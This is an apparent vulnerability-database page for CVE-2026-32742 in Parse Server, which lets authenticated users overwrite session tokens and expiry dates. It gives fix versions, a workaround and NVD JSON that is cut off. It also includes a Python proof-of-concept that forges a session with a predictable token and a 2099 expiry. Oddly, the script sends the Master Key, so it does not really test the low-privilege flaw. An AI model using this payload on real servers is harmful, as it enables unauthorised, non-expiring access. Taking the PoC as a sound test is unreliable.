Security Vulnerability Report
中文
CVE-2026-32742 CVSS 4.3 MEDIUM

CVE-2026-32742

Published: 2026-03-18 22:16:25
Last Modified: 2026-03-19 17:34:20

Description

Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.17 and 8.6.42, an authenticated user can overwrite server-generated session fields (`sessionToken`, `expiresAt`, `createdWith`) when creating a session object via `POST /classes/_Session`. This allows bypassing the server's session expiration policy by setting an arbitrary far-future expiration date. It also allows setting a predictable session token value. Starting in version 9.6.0-alpha.17 and 8.6.42, the session creation endpoint filters out server-generated fields from user-supplied data, preventing them from being overwritten. As a workaround, add a `beforeSave` trigger on the `_Session` class to validate and reject or strip any user-supplied values for `sessionToken`, `expiresAt`, and `createdWith`.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:* - VULNERABLE
Parse Server < 8.6.42
Parse Server < 9.6.0-alpha.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-32742 PoC - Parse Server Session Field Override # Target: Parse Server < 8.6.42 or < 9.6.0-alpha.17 TARGET_URL = "http://target-server:1337/parse" APP_ID = "your-app-id" # Replace with actual Application ID API_KEY = "your-master-key" # Replace with actual Master Key # Authenticate and get session def authenticate(): login_url = f"{TARGET_URL}/login" headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-Master-Key": API_KEY } data = { "username": "attacker", "password": "password123" } response = requests.post(login_url, json=data, headers=headers) return response.json().get("sessionToken") # Exploit: Override server-generated session fields def exploit_session_override(session_token): url = f"{TARGET_URL}/classes/_Session" headers = { "X-Parse-Application-Id": APP_ID, "X-Parse-Master-Key": API_KEY, "X-Parse-Session-Token": session_token, "Content-Type": "application/json" } # Malicious payload - override server-generated fields payload = { "sessionToken": "predictable_token_12345", # Custom session token "expiresAt": { "__type": "Date", "iso": "2099-12-31T23:59:59.000Z" # Far future expiration }, "createdWith": { "action": "login", "authProvider": "password" }, "user": { "__type": "Pointer", "className": "_User", "objectId": "target-user-id" } } response = requests.post(url, json=payload, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response Body: {response.text}") return response.status_code == 201 if __name__ == "__main__": print("CVE-2026-32742 - Parse Server Session Field Override") session_token = authenticate() if session_token: print(f"Authenticated successfully, Session: {session_token}") if exploit_session_override(session_token): print("Exploitation successful - session fields can be overridden") else: print("Exploitation failed or target is patched") else: print("Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32742", "sourceIdentifier": "[email protected]", "published": "2026-03-18T22:16:25.183", "lastModified": "2026-03-19T17:34:20.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.17 and 8.6.42, an authenticated user can overwrite server-generated session fields (`sessionToken`, `expiresAt`, `createdWith`) when creating a session object via `POST /classes/_Session`. This allows bypassing the server's session expiration policy by setting an arbitrary far-future expiration date. It also allows setting a predictable session token value. Starting in version 9.6.0-alpha.17 and 8.6.42, the session creation endpoint filters out server-generated fields from user-supplied data, preventing them from being overwritten. As a workaround, add a `beforeSave` trigger on the `_Session` class to validate and reject or strip any user-supplied values for `sessionToken`, `expiresAt`, and `createdWith`."}, {"lang": "es", "value": "Parse Server es un backend de código abierto que puede ser desplegado en cualquier infraestructura que pueda ejecutar Node.js. Antes de 9.6.0-alpha.17 y 8.6.42, un usuario autenticado puede sobrescribir campos de sesión generados por el servidor ('sessionToken', 'expiresAt', 'createdWith') al crear un objeto de sesión a través de 'POST /classes/_Session'. Esto permite eludir la política de expiración de sesión del servidor al establecer una fecha de expiración arbitraria en un futuro lejano. También permite establecer un valor de token de sesión predecible. A partir de la versión 9.6.0-alpha.17 y 8.6.42, el endpoint de creación de sesión filtra los campos generados por el servidor de los datos proporcionados por el usuario, impidiendo que sean sobrescritos. Como solución alternativa, añada un disparador 'beforeSave' en la clase '_Session' para validar y rechazar o eliminar cualquier valor proporcionado por el usuario para 'sessionToken', 'expiresAt' y 'createdWith'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-915"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "8.6.42", "matchCriteriaId": "74FED6F8-6BC3-4520-8AD4-BCC51670F9D3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.6.0", "matchCriteriaId": "1BAC01F8-0899-482C-8D91-64671BF2859A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha1:*:*:*:node.js:*:*", "matchCriteriaId": "BBED261F-CA1B-44BC-9C3A-37378590EFEE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha10:*:*:*:node.js:*:*", "matchCriteriaId": "418338C9-6AEC-492C-ACA4-9B3C0AAE149C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha11:*:*:*:node.js:*:*", "matchCriteriaId": "808B6482-BF8E-407D-8462-E757657CC323"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha12:*:*:*:node.js:*:*", "matchCriteriaId": "B84C28F8-AADE-41BB-A0EF-B701AB57DC3A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha13:*:*:*:node.js:*:*", "matchCriteriaId": "7567BB81-7837-4265-B792-6A9B73CECF93"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha14:*:*:*:node.js:*:*", "matchCriteriaId": "0035C6F1-21B9-42D1-BE29-690905F3558C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha15:*:*:*:node.js:*:*", "matchCriteriaId": "623FB30A-0693-4449-80FA-16D36B1BE66C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha16:*:*:*:node.js:*:*", "matchCriteriaId": "9B420167-CD3E-45A7-AD9A-0F83AEC634BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha3:*:*:*:node.js:*:*", "matchCriteriaId": "DF340605-8CC8-4543-9F5D-E8602D258CED"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha4:*:*:*:node.js:*:*", "matchCriteriaId": "A052DFCA-EDCC-43D7-82C7-E5311F6F7687"}, {"vulnerable": true, "criteria": "cpe:2.3:a:parseplatform:parse-server:9.6.0:alpha5:*:*:*:node.js:*:*", "matchCriteri ... (truncated)